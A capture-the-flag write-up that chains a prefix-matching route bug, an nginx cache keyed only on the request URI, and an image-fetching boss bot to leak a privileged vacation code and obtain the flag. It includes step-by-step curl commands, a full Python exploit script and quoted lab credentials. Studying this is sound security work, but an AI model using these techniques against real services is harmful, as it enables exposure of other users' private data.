$ cat writeup.md…
$ cat writeup.md…
alfactf
Task: an intranet web service exposed a boss bot, a custom FastAPI dispatcher, and nginx caching in front of authenticated APIs. Solution: turn boss-only JSON endpoints into fake .png paths, let the authenticated bot prime nginx cache, then reuse the leaked vacation code to trigger the flag endpoint.
Никто, конечно, не чиллил
Сервис: noonechilled
The target was a corporate intranet service at https://noonechilled-gvgof6lm.alfactf.ru. Source code was provided, and the goal was to recover a boss vacation code and use it as an employee to reach the flag.
This challenge was a four-bug chain:
Together, these issues turned a boss-only API response into a public cached .png URL.
The Docker topology in docker-compose.yml immediately exposed the interesting trust boundaries:
nginx,http://nginx / http://backend,API_BASE_URL=http://nginx,[email protected] / WhiteboxBossPassword123! in the local compose file.That suggested two useful directions: look for proxy/cache behavior in nginx, and inspect whether the bot can be induced to fetch attacker-controlled URLs from inside the Docker network.
The main routing bug is in backend/app/api/http_dispatch.py:
def match(self, method: str, segments: list[str]) -> dict[str, str] | None: if method != self.method or len(segments) < len(self.pattern): return None params: dict[str, str] = {} for part, segment in zip(self.pattern, segments): if isinstance(part, PathParam): params[part.name] = segment continue if part != segment: return None return params
RouteSpec.match() rejects only shorter paths. It never requires len(segments) == len(pattern), so the comparison stops after the route-length prefix and silently ignores extra trailing segments.
That means all of the following match valid authenticated API routes:
/xhr/api/auth/me/cachetest123.png → GET auth/me/xhr/api/auth/vacation-code/leakboss124.png → GET auth/vacation-codeThis is the primitive that lets API endpoints masquerade as static files.
deploy/nginx.conf contains this logic:
location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|webp|woff2?)$ { try_files $uri @cache; } location @cache { proxy_pass http://backend; proxy_cache mycache; proxy_cache_key $scheme$request_uri; proxy_cache_valid 200 10m; add_header X-Cache-Status $upstream_cache_status always; }
Any request ending in a static extension is routed into @cache if no real file exists. The cache key is only $scheme$request_uri, with no cookie, auth header, or user identity. So if an authenticated user fetches /xhr/api/auth/vacation-code/leakboss124.png, nginx will happily cache the boss-only JSON response and later return it to an unauthenticated visitor.
I verified the behavior with GET /xhr/api/auth/me/cachetest123.png:
X-Cache-Status: MISS,X-Cache-Status: HIT.The bot is exactly what was needed to populate the cache with a privileged response.
Relevant code paths:
boss-bot/auth.py: the bot logs in and keeps an authenticated aiohttp session,boss-bot/chat_processor.py: every incoming message is scanned with _process_static_urls(...),boss-bot/browser_emulator.py: any http:// or https:// URL whose filename extension looks like an image is fetched.The URL filter is extension-based only:
url_pattern = r'https?://[^\s]+' ... extension = filename.split('.')[-1].lower() if '.' in filename else '' ... image_extensions = ['png', 'jpg', 'jpeg', 'gif', 'svg', 'ico', 'webp']
The fetcher then performs a real authenticated GET request:
async with self.session.get(url, headers=headers, allow_redirects=False) as response:
Because docker-compose.yml sets API_BASE_URL=http://nginx, the bot can reach internal URLs such as:
http://nginx/xhr/api/auth/vacation-code/leakboss124.png
So a chat message can make the boss bot request a boss-only API endpoint through nginx, while nginx mistakes the path for a cacheable image.
backend/app/api/auth.py exposes a boss-only vacation code endpoint:
async def get_vacation_access_code(current_boss: User): return {"code": generate_vacation_code(settings.secret_key, str(current_boss.id))}
backend/app/api/users.py accepts any active boss vacation code and returns the flag after deactivating the current employee account:
provided = vacation.code.strip().upper() is_valid = any(provided == generate_vacation_code(settings.secret_key, str(boss.id)) for boss in bosses) ... return {"message": "Аккаунт деактивирован. Приятного отпуска!", "data": {"flag": "alfa{******REDACTED******}"}}
Once the bot leaks one valid boss code, the challenge is solved.
Only employees may self-register, so start by creating one:
curl -i -s -c user_cookies.txt \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","password":"Passw0rd!824cf9df","display_name":"solver_ce76bc94","role":"employee"}' \ 'https://noonechilled-gvgof6lm.alfactf.ru/xhr/api/auth/register'
Why it works: auth.register() explicitly allows only role == "employee" and sets auth cookies for the new user.
curl -s -b user_cookies.txt -X POST \ 'https://noonechilled-gvgof6lm.alfactf.ru/xhr/api/chat/rooms/ensure-boss-dm'
Returned room used during the solve:
97abc22b-3593-4477-ac5f-7a18ef54756a
Why it works: the route exists in the custom dispatcher as POST chat/rooms/ensure-boss-dm, which creates or returns the employee/boss direct-message room.
curl -s -b user_cookies.txt \ -H 'Content-Type: application/json' \ -d '{"body":"привет босс, глянь http://nginx/xhr/api/auth/vacation-code/leakboss124.png"}' \ 'https://noonechilled-gvgof6lm.alfactf.ru/xhr/api/chat/rooms/97abc22b-3593-4477-ac5f-7a18ef54756a/messages'
Why it works:
http://nginx/...leakboss124.png as an image URL,GET /auth/vacation-code,.png URL.Wait a few seconds, then request the same path from the public service:
curl -i -s \ 'https://noonechilled-gvgof6lm.alfactf.ru/xhr/api/auth/vacation-code/leakboss124.png'
Observed response:
X-Cache-Status: HIT{"code":"TWDCN7XNTDNSHV7FVE4K"}Why it works: nginx reuses the cache entry keyed only by the request URI, so the second request does not need any authenticated cookies.
curl -i -s -b user_cookies.txt \ -H 'Content-Type: application/json' \ -d '{"code":"TWDCN7XNTDNSHV7FVE4K"}' \ 'https://noonechilled-gvgof6lm.alfactf.ru/xhr/api/users/me/vacation'
Observed response:
{"message":"Аккаунт деактивирован. Приятного отпуска!","data":{"flag":"alfa{chilL_R3aRm_chIlL_R3ARM_cHill_RearM_ChilL}"}}
Why it works: POST /users/me/vacation checks whether the submitted code equals any active boss vacation code. The leaked code satisfies that condition, so the employee account is deactivated and the flag is returned.
#!/usr/bin/env python3 import re import time import requests BASE = "https://noonechilled-gvgof6lm.alfactf.ru" EMAIL = "[email protected]" PASSWORD = "Passw0rd!824cf9df" DISPLAY = "solver_ce76bc94" LEAK_PATH = "/xhr/api/auth/vacation-code/leakboss124.png" def main(): s = requests.Session() r = s.post( BASE + "/xhr/api/auth/register", json={ "email": EMAIL, "password": PASSWORD, "display_name": DISPLAY, "role": "employee", }, ) if r.status_code not in (200, 400): raise SystemExit(f"register failed: {r.status_code} {r.text}") r = s.post(BASE + "/xhr/api/chat/rooms/ensure-boss-dm") r.raise_for_status() room_id = r.json()["id"] print(f"[+] room_id = {room_id}") body = { "body": f"привет босс, глянь http://nginx{LEAK_PATH}" } r = s.post(BASE + f"/xhr/api/chat/rooms/{room_id}/messages", json=body) r.raise_for_status() print("[+] message sent to boss bot") for _ in range(10): time.sleep(2) r = requests.get(BASE + LEAK_PATH) if r.headers.get("X-Cache-Status") == "HIT": code = r.json()["code"] print(f"[+] leaked code = {code}") break else: raise SystemExit("cache was not primed in time") r = s.post(BASE + "/xhr/api/users/me/vacation", json={"code": code}) r.raise_for_status() text = r.text print(text) m = re.search(r'alfa\{[^}]+\}', text) if not m: raise SystemExit("flag not found") print(f"[+] flag = {m.group(0)}") if __name__ == "__main__": main()
/xhr/api/.nginx, api, and RFC1918/internal destinations.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar